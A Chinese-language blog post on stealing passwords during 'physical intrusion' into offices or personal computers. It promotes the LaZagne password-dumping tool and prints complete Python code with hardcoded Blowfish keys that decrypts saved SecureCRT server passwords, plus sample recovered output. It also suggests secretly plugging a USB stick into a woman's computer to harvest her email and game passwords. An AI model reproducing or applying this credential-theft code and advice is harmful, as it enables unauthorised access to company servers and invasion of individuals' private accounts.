在黑客攻击中,其实有一种攻击方式经常被大家忽略——物理入侵。
常见的物理入侵主要是入侵企业办公大楼,或者在企业办公楼附近连接其网络环境(如wifi),再或者在企业附近架设冲突wifi进行网络污染,最终潜入企业办公网络或者员工电脑里。
那么,当我们潜入一个人的电脑里时,我们肯定可以干很多事。但是这里要注意,由于这个网络环境可能随时中断,我们的入侵行为一定要快,尽可能的搜集有用数据。除非是非常隐秘的情况下,我们可以肆无忌惮的copy磁盘所有内容,一般情况下我们只能用最短时间窃取最有用数据。
本片文章,将介绍两款神器,在物理入侵时,可以窃取对方的账号和密码。
1. The LaZagne Project
绝对非常牛逼好用的工具,获取本地机器存储的密码,包括但不限于所有常见浏览器、svn/git、数据库、游戏账号、wifi等等。
github地址:https://github.com/AlessandroZ/LaZagne
2k+的点赞量。
Lazagne项目是用于检索存储在本地计算机上的大量密码的开源应用程序。不同软件使用不同的加密技术进行密码存储,比如firefox/chrome等浏览器存储我们的登陆账户信息,LaZagne工具可以获取尽可能多的软件所存储的密码。
使用方法:
支持linux、mac、windows不同操作系统,因为不同操作系统密码存储形式不一样,所以作者构建了不同的项目。
1. python源码,直接执行即可。
2. windows的话,可以下载exe执行。
源码写的也很好,对于进阶python的,可以读一下作者写的源码。
另外,像这种工具还有其他使用场景,比如趁着心仪的妹子不注意,插上u盘,跑一下程序。浏览器上存储的所有密码,就都得到了。什么邮箱密码啊、游戏密码啊,不要恶意偷窥就好。
2. SecureCRT-decryptpass
顾名思义,就是获取SecureCRT上面存储的用户名和密码,依旧是python编写的。
对于互联网企业的网络开发人员,大家每天都会和服务器打交道,和linux服务器通讯使用的最多的应该就是SecureCRT了。为了每次都能更快速地连接目标服务器,SecureCRT记录了服务器、用户名、端口、密码,或者私钥等信息。
使用前需要安装python扩展:
程序代码:
from Crypto.Cipher import Blowfish
import argparse
import re
def decrypt(password) :
c1 = Blowfish.new('5F B0 45 A2 94 17 D9 16 C6 C6 A2 FF 06 41 82 B7'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
c2 = Blowfish.new('24 A6 3D DE 5B D3 B3 82 9C 7E 06 F4 08 16 AA 07'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
padded = c1.decrypt(c2.decrypt(password.decode('hex'))[4:-4])
p = ''
while padded[:2] != '\x00\x00' :
p += padded[:2]
padded = padded[2:]
return p.decode('UTF-16')
REGEX_HOSTNAME = re.compile(ur'S:"Hostname"=([^\r\n]*)')
REGEX_PASWORD = re.compile(ur'S:"Password"=u([0-9a-f]+)')
REGEX_PORT = re.compile(ur'D:"\[SSH2\] Port"=([0-9a-f]{8})')
REGEX_USERNAME = re.compile(ur'S:"Username"=([^\r\n]*)')
def hostname(x) :
m = REGEX_HOSTNAME.search(x)
if m :
return m.group(1)
return '???'
def password(x) :
m = REGEX_PASWORD.search(x)
if m :
return decrypt(m.group(1))
return '???'
def port(x) :
m = REGEX_PORT.search(x)
if m :
return '-p %d '%(int(m.group(1), 16))
return ''
def username(x) :
m = REGEX_USERNAME.search(x)
if m :
return m.group(1) + '@'
return ''
parser = argparse.ArgumentParser(description='Tool to decrypt SSHv2 passwords in VanDyke Secure CRT session files')
parser.add_argument('files', type=argparse.FileType('r'), nargs='+',
help='session file(s)')
args = parser.parse_args()
for f in args.files :
c = f.read().replace('\x00', '')
print f.name
print "ssh %s%s%s # %s"%(port(c), username(c), hostname(c), password(c))
运行很简单,将SecureCRT记录服务器相关数据的文件,以参数的形式传给程序即可。
类似如下:
C:\Users\user1\AppData\Roaming\VanDyke\Config\Sessions\192.168.0.1.ini
ssh -p 22 [email]user@192.168.0.1[/email] # 123456
如果不知道SecureCRT的session存储在哪里,可以这么查找:
第一步,点击桌面上的SecureCRT图标
第二步,打开后,进入SecureCRT主界面
第三步,点击菜单栏上的选项
第四步,继续点击下拉中的全局选项
第五步,进入全局选项的界面
第六步,注意图示的配置文件夹,即是Sessions存放文件夹位置
第七步,文件夹中输入Sessions存放文件夹位置,则看到Sessions存放的文件
Leave a Reply